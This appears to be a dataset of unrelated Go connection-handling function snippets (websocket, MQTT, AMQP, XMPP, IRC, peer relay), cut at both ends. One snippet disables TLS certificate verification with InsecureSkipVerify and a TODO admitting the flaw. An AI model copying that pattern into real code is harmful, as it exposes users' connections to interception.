commands\n\tc.writeNick()\n\tc.writeUser()\n\n\t// Block until message 001 comes through\n\tfor true {\n\t\tmessage, err := c.GetMessage()\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif message.Command == \"001\" {\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn nil\n}","func (rhost *rhostData) connect() {\n\n\t// Get local IP list\n\tips, _ := rhost.getIPs()\n\n\t// Create command buffer\n\tbuf := new(bytes.Buffer)\n\t_, port := rhost.teo.td.GetAddr()\n\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\n\tfor _, addr := range ips {\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t}\n\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\tdata := buf.Bytes()\n\tfmt.Printf(\"Connect to r-host, send local IPs\\nip: %v\\nport: %d\\n\", ips, port)\n\n\t// Send command to r-host\n\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\n\trhost.connected = true\n}","func (self *SinglePad) Connect(rawPad interface{}) {\n self.Object.Call(\"connect\", rawPad)\n}","func on_connect(c net.Conn) {\n conn := create_connection(c)\n connected_clients_mutex.Lock()\n conn_id, _ := strconv.Atoi(conn.id)\n connected_clients[conn_id] = conn\n connected_clients_mutex.Unlock()\n handle_conn(conn)\n}","func (p *Plugin) Connect() (err error) {\n\tif p.socket == nil {\n\t\treturn errors.New(\"Socket is already closed\")\n\t}\n\tgo func() {\n\t\tfor {\n\t\t\terr = p.receiveMessage()\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\terr = p.connect()\n\tif err != nil {\n\t\tp.Close()\n\t\treturn err\n\t}\n\treturn\n}","func (observer *Observer) Connect(id int32, port int32) {\n\tobserver.connector.Connect(id, port)\n}","func routeMsg(ws *websocket.Conn, ctx context.Context) {\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tcase msg := <-postFromClientChan:\n\t\t\tpostFromClient(msg)\n\t\tcase msg := <-initFromClientChan:\n\t\t\tinitFromClient(msg)\n\t\t}\n\t}\n\n}","func (c *TunaSessionClient) OnConnect() chan struct{} {\n\treturn c.onConnect\n}","func (session *Session) connect() {\n\n\tfor {\n\n\t\t// Dial out to server\n\t\ttlsconf := &tls.Config{\n\n\t\t\t// @TODO: Fix security here\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t\tconn, err := tls.Dial(\"tcp4\", session.address, tlsconf)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Unable to connect to server, retry in 5 seconds: %v\\n\", err)\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\n\t\t// store the connection\n\t\tsession.socket = conn\n\t\tsession.running = true\n\n\t\t// register with the server\n\t\tsession.register()\n\n\t\t// Start processing commands\n\t\tindata := make(chan []byte)\n\t\tgo ReadCommand(session.socket, indata)\n\n\t\t// Keep processing commands until socket closes\n\t\tfor msgdata := range indata {\n\t\t\tresponse := &uploadpb.ServerResponse{}\n\t\t\tif err := proto.Unmarshal(msgdata, response); err != nil {\n\t\t\t\tlog.Printf(\"Server message process error: %v\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsession.processResponse(response)\n\t\t}\n\n\t\t// connection was closed\n\t\tsession.running = false\n\t\tlog.Println(\"Connection to server closed. Connecting in 3 seconds.\")\n\t\ttime.Sleep(time.Second * 3)\n\t}\n}","func (queueWriter *QueueWriter) Connect(connectionAddress string) {\n\tconnection, err := stomp.Dial(\"tcp\", connectionAddress)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not connect to %s\", connectionAddress)\n\t\treturn\n\t}\n\n\tqueueWriter.isConnected = true\n\tqueueWriter.connection = connection\n\n\tlog.Printf(\"Connected to address: %s\", connectionAddress)\n}","func onConnect(c *gnet.Connection, solicited bool) {\n\tfmt.Printf(\"Event Callback: connnect event \\n\")\n}","func (h DeviceController) connectWSWriter(\n\tctx context.Context,\n\tconn *websocket.Conn,\n\tmsgChan <-chan *nats.Msg,\n\terrChan <-chan error,\n) (err error) {\n\tl := log.FromContext(ctx)\n\tdefer func() {\n\t\t// TODO Check err and errChan and send close control packet\n\t\t// with error if not initiated by client.\n\t\tconn.Close()\n\t}()\n\n\t// handle the ping-pong connection health check\n\terr = conn.SetReadDeadline(time.Now().Add(pongWait))\n\tif err != nil {\n\t\tl.Error(err)\n\t\treturn err\n\t}\n\n\tpingPeriod := (pongWait * 9) / 10\n\tticker := time.NewTicker(pingPeriod)\n\tdefer ticker.Stop()\n\tconn.SetPongHandler(func(string) error {\n\t\tticker.Reset(pingPeriod)\n\t\treturn conn.SetReadDeadline(time.Now().Add(pongWait))\n\t})\n\tconn.SetPingHandler(func(msg string) error {\n\t\tticker.Reset(pingPeriod)\n\t\terr := conn.SetReadDeadline(time.Now().Add(pongWait))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn conn.WriteControl(\n\t\t\twebsocket.PongMessage,\n\t\t\t[]byte(msg),\n\t\t\ttime.Now().Add(writeWait),\n\t\t)\n\t})\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase msg := <-msgChan:\n\t\t\terr = conn.WriteMessage(websocket.BinaryMessage, msg.Data)\n\t\t\tif err != nil {\n\t\t\t\tl.Error(err)\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase <-ctx.Done():\n\t\t\tbreak Loop\n\t\tcase <-ticker.C:\n\t\t\tif !websocketPing(conn) {\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase err := <-errChan:\n\t\t\treturn err\n\t\t}\n\t\tticker.Reset(pingPeriod)\n\t}\n\treturn err\n}","func (c *Component) Connect() error {\n\tvar conn net.Conn\n\tvar err error\n\tif conn, err = net.DialTimeout(\"tcp\", c.Address, time.Duration(5)*time.Second); err != nil {\n\t\treturn err\n\t}\n\tc.conn = conn\n\n\t// 1. Send stream open tag\n\tif _, err := fmt.Fprintf(conn, componentStreamOpen, c.Domain, stanza.NSComponent, stanza.NSStream); err != nil {\n\t\treturn errors.New(\"cannot send stream open \" + err.Error())\n\t}\n\tc.decoder = xml.NewDecoder(conn)\n\n\t// 2. Initialize xml decoder and extract streamID from reply\n\tstreamId, err := stanza.InitStream(c.decoder)\n\tif err != nil {\n\t\treturn errors.New(\"cannot init decoder \" + err.Error())\n\t}\n\n\t// 3. Authentication\n\tif _, err := fmt.Fprintf(conn, \"%s\", c.handshake(streamId)); err != nil {\n\t\treturn errors.New(\"cannot send handshake \" + err.Error())\n\t}\n\n\t// 4. Check server response for authentication\n\tval, err := stanza.NextPacket(c.decoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch v := val.(type) {\n\tcase stanza.StreamError:\n\t\treturn errors.New(\"handshake failed \" + v.Error.Local)\n\tcase stanza.Handshake:\n\t\t// Start the receiver go routine\n\t\tgo c.recv()\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"expecting handshake result, got \" + v.Name())\n\t}\n}","func (g *CastDevice) Connect(ctx context.Context) error {\n\treturn g.client.Connect(ctx)\n}","func (n *Network) SendMessage(message Message) (err error) {\n\t//syncMutex.Lock()\n\t//defer syncMutex.Unlock()\n\n\tif message.To == n.Myself.ID {\n\t\tn.ReceiveChan <- message\n\t\treturn nil\n\t}\n\n\tmessageByte, err := json.Marshal(message) //func(v interface{}) ([]byte, error)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn err\n\t}\n\tremoteConn := n.Connections[message.To]\n\tif remoteConn == nil {\n\t\t//fmt.Printf(\"Connection to node %d isnt present in n.Connections\\n\", message.To)\n\t\treturn fmt.Errorf(\"No TCP connection to node %d in Connection Table\", message.To)\n\t}\n\tif message.Type != \"Heartbeat\" { //Remove 1 to block printing of HB messages\n\t\t//fmt.Printf(\"SendMessage: From: %v (%d) To: %v (%d) Message: %v\\n\", remoteConn.LocalAddr(), n.Myself.ID, remoteConn.RemoteAddr(), message.To, message)\n\t}\n\t_, err = n.Connections[message.To].Write(messageByte)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\t//Assumes the connection is broken (write: broken pipe)\n\t\tn.CloseConn(n.Connections[message.To])\n\t\treturn err\n\t}\n\treturn err\n}","func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\n\tid := stream.ID()\n\tss.Lock()\n\tabp, ok := ss.awaitingBidiPipeMap[id]\n\tif ok {\n\t\tdelete(ss.awaitingBidiPipeMap, id)\n\t}\n\tss.Unlock()\n\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\tdlog.Debugf(ctx, \" FWD %s, connect session %s with %s\", id, abp.stream.SessionID(), stream.SessionID())\n\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\n\tbidiPipe.Start(ctx)\n\n\tdefer close(abp.bidiPipeCh)\n\tselect {\n\tcase <-ss.done:\n\t\treturn nil, status.Error(codes.Canceled, \"session cancelled\")\n\tcase abp.bidiPipeCh <- bidiPipe:\n\t\treturn bidiPipe, nil\n\t}\n}","func (s *StanServer) connectCB(m *nats.Msg) {\n\treq := &pb.ConnectRequest{}\n\terr := req.Unmarshal(m.Data)\n\tif err != nil || req.HeartbeatInbox == \"\" {\n\t\ts.log.Errorf(\"[Client:?] Invalid conn request: ClientID=%s, Inbox=%s, err=%v\",\n\t\t\treq.ClientID, req.HeartbeatInbox, err)\n\t\ts.sendConnectErr(m.Reply, ErrInvalidConnReq.Error())\n\t\treturn\n\t}\n\tif !clientIDRegEx.MatchString(req.ClientID) {\n\t\ts.log.Errorf(\"[Client:%s] Invalid ClientID, only alphanumeric and `-` or `_` characters allowed\", req.ClientID)\n\t\ts.sendConnectErr(m.Reply, ErrInvalidClientID.Error())\n\t\treturn\n\t}\n\n\t// If the client ID is already registered, check to see if it's the case\n\t// that the client refreshed (e.g. it crashed and came back) or if the\n\t// connection is a duplicate. If it refreshed, we will close the old\n\t// client and open a new one.\n\tclient := s.clients.lookup(req.ClientID)\n\tif client != nil {\n\t\t// When detecting a duplicate, the processing of the connect request\n\t\t// is going to be processed in a go-routine. We need however to keep\n\t\t// track and fail another request on the same client ID until the\n\t\t// current one has finished.\n\t\ts.cliDupCIDsMu.Lock()\n\t\tif _, exists := s.cliDipCIDsMap[req.ClientID]; exists {\n\t\t\ts.cliDupCIDsMu.Unlock()\n\t\t\ts.log.Debugf(\"[Client:%s] Connect failed; already connected\", req.ClientID)\n\t\t\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\n\t\t\treturn\n\t\t}\n\t\ts.cliDipCIDsMap[req.ClientID] = struct{}{}\n\t\ts.cliDupCIDsMu.Unlock()\n\n\t\ts.startGoRoutine(func() {\n\t\t\tdefer s.wg.Done()\n\t\t\tisDup := false\n\t\t\tif s.isDuplicateConnect(client) {\n\t\t\t\ts.log.Debugf(\"[Client:%s] Connect failed; already connected\", req.ClientID)\n\t\t\t\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\n\t\t\t\tisDup = true\n\t\t\t}\n\t\t\ts.cliDupCIDsMu.Lock()\n\t\t\tif !isDup {\n\t\t\t\ts.handleConnect(req, m, true)\n\t\t\t}\n\t\t\tdelete(s.cliDipCIDsMap, req.ClientID)\n\t\t\ts.cliDupCIDsMu.Unlock()\n\t\t})\n\t\treturn\n\t}\n\ts.cliDupCIDsMu.Lock()\n\ts.handleConnect(req, m, false)\n\ts.cliDupCIDsMu.Unlock()\n}","func (c *Contact) connectOutbound(ctx context.Context, connChannel chan *connection.Connection) {\n\tc.mutex.Lock()\n\tconnector := OnionConnector{\n\t\tNetwork: c.core.Network,\n\t\tNeverGiveUp: true,\n\t}\n\thostname, _ := OnionFromAddress(c.data.Address)\n\tisRequest := c.data.Request != nil\n\tc.mutex.Unlock()\n\n\tfor {\n\t\tconn, err := connector.Connect(hostname+\":9878\", ctx)\n\t\tif err != nil {\n\t\t\t// The only failure here should be context, because NeverGiveUp\n\t\t\t// is set, but be robust anyway.\n\t\t\tif ctx.Err() != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlog.Printf(\"Contact connection failure: %s\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// XXX-protocol Ideally this should all take place under ctx also; easy option is a goroutine\n\t\t// blocked on ctx that kills the connection.\n\t\tlog.Printf(\"Successful outbound connection to contact %s\", hostname)\n\t\toc, err := protocol.NegotiateVersionOutbound(conn, hostname[0:16])\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Outbound connection version negotiation failed: %v\", err)\n\t\t\tconn.Close()\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Printf(\"Outbound connection negotiated version; authenticating\")\n\t\tprivateKey := c.core.Identity.PrivateKey()\n\t\tknown, err := connection.HandleOutboundConnection(oc).ProcessAuthAsClient(&privateKey)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Outbound connection authentication failed: %v\", err)\n\t\t\tcloseUnhandledConnection(oc)\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif !known && !isRequest {\n\t\t\tlog.Printf(\"Outbound connection to contact says we are not a known contact for %v\", c)\n\t\t\t// XXX Should move to rejected status, stop attempting connections.\n\t\t\tcloseUnhandledConnection(oc)\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t} else if known && isRequest {\n\t\t\tlog.Printf(\"Contact request implicitly accepted for outbound connection by contact %v\", c)\n\t\t\tc.UpdateContactRequest(\"Accepted\")\n\t\t\tisRequest = false\n\t\t}\n\n\t\tif isRequest {\n\t\t\t// Need to send a contact request; this will block until the peer accepts or rejects,\n\t\t\t// the connection fails, or the context is cancelled (which also closes the connection).\n\t\t\tif err := c.sendContactRequest(oc, ctx); err != nil {\n\t\t\t\tlog.Printf(\"Outbound contact request connection closed: %s\", err)\n\t\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Outbound contact request accepted, assigning connection\")\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"Assigning outbound connection to contact\")\n\t\tc.AssignConnection(oc)\n\t\tbreak\n\t}\n}","func (l *LogWriter) connect() {\n\tif l.connecting {\n\t\treturn\n\t}\n\tl.connecting = true\n\tvar err error\n\tfor l.conn == nil {\n\t\tl.conn, err = net.Dial(\"tcp\", l.Addr)\n\t\tif err != nil {\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\t}\n\t\terr = l.sendMsg([]byte(fmt.Sprintf(\"!!cutelog!!format=%s\", l.Format)))\n\t\tif err != nil {\n\t\t\tl.Close()\n\t\t}\n\t}\n\tl.connecting = false\n}","func (client *ChatClient) Connect() {\n\t// create the initial client connection descriptor targeting the chat server\n\tclient.internal = &nan0.Service{\n\t\tHostName: *Host,\n\t\tPort: int32(*Port),\n\t\tServiceType: \"Chat\",\n\t\tServiceName: \"ChatServer\",\n\t\tStartTime: time.Now().Unix(),\n\t\tExpired: false,\n\t}\n\n\t// create another random user id\n\tnewUserId := random.Int63()\n\t// use this auto-generated username unless a custom username has been assigned\n\tclient.user = &User{\n\t\tUserName: fmt.Sprintf(\"Connected_User#%v\\n\", newUserId),\n\t}\n\tif *CustomUsername != \"\" {\n\t\tclient.user.SetUserName(*CustomUsername)\n\t}\n\n\t// convert the base64 keys to usable byte arrays\n\tencKey, authKey := KeysToNan0Bytes(*EncryptKey, *Signature)\n\n\t// connect to the server securely\n\tnan0chat, err := client.internal.DialNan0Secure(encKey, authKey).\n\t\tReceiveBuffer(1).\n\t\tSendBuffer(0).\n\t\tAddMessageIdentity(new(ChatMessage)).\n\tBuild()\n\t// close the connection when this application closes\n\tdefer nan0chat.Close()\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// get the channels used to communicate with the server\n\tserviceReceiver := nan0chat.GetReceiver()\n\tserviceSender := nan0chat.GetSender()\n\n\t// create and start a new UI\n\tvar chatClientUI ChatClientUI\n\t// create a message channel for passing ui message to backend and to server\n\tmessageChannel := make(chan string)\n\tgo chatClientUI.Start(fmt.Sprintf(\"@%v: \", client.user.UserName), messageChannel)\n\n\tfor {\n\t\tselect {\n\t\t// when a new message comes in, handle it\n\t\tcase m := <-serviceReceiver:\n\t\t\tif message, ok := m.(*ChatMessage); ok {\n\t\t\t\tchatClientUI.outputBox.addMessage(message.Message)\n\t\t\t}\n\t\t// when a new message is generated in the UI, broadcast it\n\t\tcase newmsg := <-messageChannel:\n\t\t\tserviceSender <- &ChatMessage{\n\t\t\t\tMessage: newmsg,\n\t\t\t\tTime: time.Now().Unix(),\n\t\t\t\tMessageId: random.Int63(),\n\t\t\t\tUserId: random.Int63(),\n\t\t\t}\n\t\t}\n\t}\n}","func (r *Rmq) Connect() {\n\tconn, err := amqp.Dial(r.uri)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr.conn = conn\n\n\tch, err := conn.Channel()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr.ch = ch\n}","func connectWebsocket(port string) {\n\tfor {\n\t\tvar err error\n\t\tServerIP = utils.DiscoverServer()\n\t\tif ServerIP == \"\" {\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tu := url.URL{Scheme: \"ws\", Host: ServerIP + \":\" + os.Getenv(\"CASA_SERVER_PORT\"), Path: \"/v1/ws\"}\n\t\tWS, _, err = websocket.DefaultDialer.Dial(u.String(), nil)\n\t\tif err != nil {\n\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW001\"}).Errorf(\"%s\", err.Error())\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\taddr := strings.Split(WS.LocalAddr().String(), \":\")[0]\n\tmessage := WebsocketMessage{\n\t\tAction: \"newConnection\",\n\t\tBody: []byte(addr + \":\" + port),\n\t}\n\tbyteMessage, _ := json.Marshal(message)\n\terr := WS.WriteMessage(websocket.TextMessage, byteMessage)\n\tif err != nil {\n\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW002\"}).Errorf(\"%s\", err.Error())\n\t\treturn\n\t}\n\tlogger.WithFields(logger.Fields{}).Debugf(\"Websocket connected!\")\n}","func (ms *MqttSocket) Connect() error {\n\tms.client = mqtt.NewClient(ms.options)\n\tif token := ms.client.Connect(); token.Wait() && token.Error() != nil {\n\t\treturn token.Error()\n\t}\n\treturn nil\n}","func (m *MajsoulChannel) Connect(url string) error {\n\tm.mutexChannel.Lock()\n\tif m.isopen {\n\t\tm.mutexChannel.Unlock()\n\t\treturn errors.New(\"error: already connected\")\n\t}\n\n\tvar err error\n\tm.Connection, _, err = websocket.DefaultDialer.Dial(url, nil)\n\n\tif err != nil {\n\t\tm.mutexChannel.Unlock()\n\t\treturn err\n\t}\n\n\tdefer m.Connection.Close()\n\n\tm.isopen = true\n\tm.stop = make(chan struct{}, 1)\n\tinterrupt := make(chan os.Signal, 1)\n\tsignal.Notify(interrupt, os.Interrupt)\n\n\tm.Connection.SetPongHandler(m.pongHandler)\n\n\tgo m.recvMsg(m.stop)\n\tgo m.sendMsg(m.stop)\n\tgo m.sustain(m.stop)\n\n\tlog.Println(\"Successfully connected to\", url)\n\n\tm.mutexChannel.Unlock()\n\n\tfor {\n\t\tselect {\n\t\tcase <-interrupt:\n\t\t\tm.Close(errors.New(\"connection terminated by interrupt signal\"))\n\t\t\treturn m.ExitValue()\n\t\tcase <-m.stop:\n\t\t\treturn m.ExitValue()\n\t\tcase msg := <-m.notifications:\n\t\t\tif m.notificationHandler != nil {\n\t\t\t\tgo m.notificationHandler(msg)\n\t\t\t}\n\t\t}\n\t}\n}","func (s *Server) Connect(client *Client) {\n s.Clients.Store(client.Id, client)\n\n s.GM.Log.Debugf(\"Connecting new client %s\", client.Id)\n\n go client.Conn.Reader(client, s)\n go client.Conn.Writer(client, s)\n\n s.GM.FireEvent(NewDirectEvent(\"connected\", client, client.Id))\n}","func (c *Client) Broadcast() {\n\tticker := time.NewTicker(pingPeriod)\n\n\tdefer func() {\n\t\tticker.Stop()\n\t\tc.conn.Close()\n\t}()\n\n\tfor {\n\t\tselect {\n\t\tcase message, ok := <-c.send:\n\t\t\tc.sendMessage(message, ok)\n\t\tcase <-ticker.C:\n\t\t\tc.conn.SetWriteDeadline(time.Now().Add(writeWait))\n\t\t\tif err := c.conn.WriteMessage(websocket.PingMessage, nil); nil != err {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}","func (conn *Connection) PushToRoom(room *Room) {\n\tif conn.done() {\n\t\treturn\n\t}\n\tconn.wGroup.Add(1)\n\tdefer func() {\n\t\tconn.wGroup.Done()\n\t}()\n\n\tconn.setRoom(room)\n}","func (pool *CigwPool) SendMessage(message string) <-chan string {\n\tresult := make(chan string)\n\ttimeout := make(chan bool, 1)\n\tgo func() {\n\t\ttime.Sleep(1 * time.Second)\n\t\ttimeout <- true\n\t}()\n\n\tvar conn *cigwConn\n\tselect {\n\tcase conn = <-pool.poolMember:\n\t\tbreak\n\tcase <-timeout:\n\t\tconn = constructConn()\n\t\tif !conn.isReady {\n\t\t\tresult <- \"connection is not ready\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t\treturn result\n\t\t}\n\t}\n\n\tgo func() {\n\t\tif !conn.isReady {\n\t\t\tresult <- \"connection is not ready\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t\treturn\n\t\t}\n\n\t\t_, writeErr := conn.conn.Write([]byte(message))\n\t\tconn.conn.SetReadDeadline(time.Now().Add(25 * time.Second))\n\t\tvar buff = make([]byte, 1263)\n\n\t\t_, readErr := io.ReadFull(conn.conn, buff)\n\n\t\tif timeoutErr, ok := readErr.(net.Error); ok && timeoutErr.Timeout() {\n\t\t\tconn.markAsDestroy = true\n\t\t\tconn.brokenListener <- timeoutErr\n\t\t\tresult <- \"timeout\"\n\t\t\tnewConn := constructConn()\n\t\t\tpool.release(newConn)\n\t\t\tclose(result)\n\t\t\treturn\n\t\t}\n\n\t\tif writeErr != nil || readErr != nil {\n\t\t\tconn.brokenListener <- errors.New(\"connection broken\")\n\t\t\tresult <- \"connection broken\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t} else {\n\t\t\tresult <- string(buff)\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t}\n\n\t}()\n\n\treturn result\n}","func (c *client) Connect(ctx context.Context) error {\n\tif ctx == nil {\n\t\tctx = context.Background()\n\t}\n\tc.ctx = ctx\n\n\tremote := c.cfg.GetURL()\n\n\tvar subList []string\n\n\tfor topic := range c.SubscribedTopics {\n\t\tif IsPublicTopic(topic) {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsPrivateTopic(topic) && c.hasAuth() {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\t\t}\n\t}\n\n\tif len(subList) > 0 {\n\t\tremote.RawQuery = \"subscribe=\" + strings.Join(subList, \",\")\n\t}\n\n\tlog.Info(\"Connecting to: \", remote.String())\n\n\tconn, rsp, err := websocket.DefaultDialer.DialContext(\n\t\tctx, remote.String(), c.getHeader())\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Fail to connect[%s]: %v, %v\",\n\t\t\tremote.String(), err, rsp)\n\t}\n\n\tdefer func() {\n\t\tgo c.messageHandler()\n\t\tgo c.heartbeatHandler()\n\t}()\n\n\tc.ws = conn\n\tc.connected = true\n\tc.ws.SetCloseHandler(c.closeHandler)\n\n\treturn nil\n}","func (conn *Connection) Launch(ws config.WebSocketSettings, roomID string) {\n\n\t// dont place there conn.wGroup.Add(1)\n\tif conn.lobby == nil || conn.lobby.context == nil {\n\t\tfmt.Println(\"lobby nil or hasnt context!\")\n\t\treturn\n\t}\n\n\tall := &sync.WaitGroup{}\n\n\tfmt.Println(\"JoinConn!\")\n\tconn.lobby.JoinConn(conn, 3)\n\tall.Add(1)\n\tgo conn.WriteConn(conn.context, ws, all)\n\tall.Add(1)\n\tgo conn.ReadConn(conn.context, ws, all)\n\n\t//fmt.Println(\"Wait!\")\n\tif roomID != \"\" {\n\t\trs := &models.RoomSettings{}\n\t\trs.ID = roomID\n\t\tconn.lobby.EnterRoom(conn, rs)\n\t}\n\tall.Wait()\n\tfmt.Println(\"conn finished\")\n\tconn.lobby.Leave(conn, \"finished\")\n\tconn.Free()\n}","func (l *Writer) connect() error {\n\tif l.writer != nil {\n\t\tl.writer.Close()\n\t\tl.writer = nil\n\t}\n\n\tc, err := net.Dial(\"udp\", l.raddr)\n\tif err == nil {\n\t\tl.writer = c\n\t}\n\treturn err\n}","func broadcastWebSocket(outChannel chan string, ws *websocket.Conn) {\n\n for {\n select {\n case data := <-outChannel:\n ws.WriteMessage(websocket.TextMessage, []byte(data))\n break\n }\n }\n}","func (rhost *rhostData) cmdConnectR(rec *receiveData) {\n\n\t// Replay to address we got from peer\n\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\n\n\tptr := 1 // pointer to first IP\n\tfrom := rec.rd.From() // from\n\tdata := rec.rd.Data() // received data\n\tnumIP := data[0] // number of received IPs\n\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\n\n\t// Create data buffer to resend to peers\n\t// data structure: <0 byte> <0 byte> \n\tmakeData := func(from, addr string, port int) []byte {\n\t\tbuf := new(bytes.Buffer)\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(from))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\t\treturn buf.Bytes()\n\t}\n\n\t// Send received IPs to this peer child(connected peers)\n\tfor i := 0; i <= int(numIP); i++ {\n\t\tvar caddr *C.char\n\t\tif i == 0 {\n\t\t\tclocalhost := append([]byte(localhostIP), 0)\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\n\t\t} else {\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\n\t\t\tptr += int(C.strlen(caddr)) + 1\n\t\t}\n\t\taddr := C.GoString(caddr)\n\n\t\t// Send connected(who send this command) peer local IP address and port to\n\t\t// all this host child\n\t\tfor peer, arp := range rhost.teo.arp.m {\n\t\t\tif arp.mode != -1 && peer != from {\n\t\t\t\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Send connected(who send this command) peer IP address and port(defined by\n\t// this host) to all this host child\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.SendTo(peer, CmdConnect,\n\t\t\t\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\n\t\t\t// \\TODO: the discovery channel created here (issue #15)\n\t\t}\n\t}\n\n\t// Send all child IP address and port to connected(who send this command) peer\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\n\t\t\t\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\n\t\t}\n\t}\n\t//teolog.Debug(MODULE, \"CMD_CONNECT_R command processed, from:\", rec.rd.From())\n\trhost.teo.com.log(rec.rd, \"CMD_CONNECT_R command processed\")\n}","func (w *BaseWebsocketClient) OnConnecting() {}","func (peer *PeerConnection) readConnectionPump(sock *NamedWebSocket) {\n\tdefer func() {\n\t\tpeer.removeConnection(sock)\n\t}()\n\tpeer.ws.SetReadLimit(maxMessageSize)\n\tpeer.ws.SetReadDeadline(time.Now().Add(pongWait))\n\tpeer.ws.SetPongHandler(func(string) error { peer.ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })\n\tfor {\n\t\topCode, message, err := peer.ws.ReadMessage()\n\t\tif err != nil || opCode != websocket.TextMessage {\n\t\t\tbreak\n\t\t}\n\n\t\t//log.Printf(\"Received Peer Message: %s\",message)\n\n\t\twsBroadcast := &Message{\n\t\t\tsource: peer.id,\n\t\t\ttarget: 0, // target all connections\n\t\t\tpayload: string(message),\n\t\t\tfromProxy: false,\n\t\t}\n\t\tvar notiRecived bool = false\n\n\t\tfor e := peerNotifiedList.Front(); e != nil; e=e.Next() {\n\t\t\tif(string(message)==e.Value.(string)){\n\t\t\t\tnotiRecived = true\n\t\t\t}\n\t\t}\n\n\t\t//create notifications with the url for linux and android\n\t\tif(strings.Contains(string(message),\"http://\")&&!notiRecived){\n\t\t\t\n\t\t\tpeerNotifiedList.PushBack(string(message))\n\t\t\tproxyNotifiedList.PushBack(string(message))\n\t\t\t\n\t\t\tif peer.id!=sock.controllers[0].id {\n\n\t\t\t\tpath, err2 := filepath.Abs(\"Mediascape.png\")\n\t\t\t\tif err2 != nil 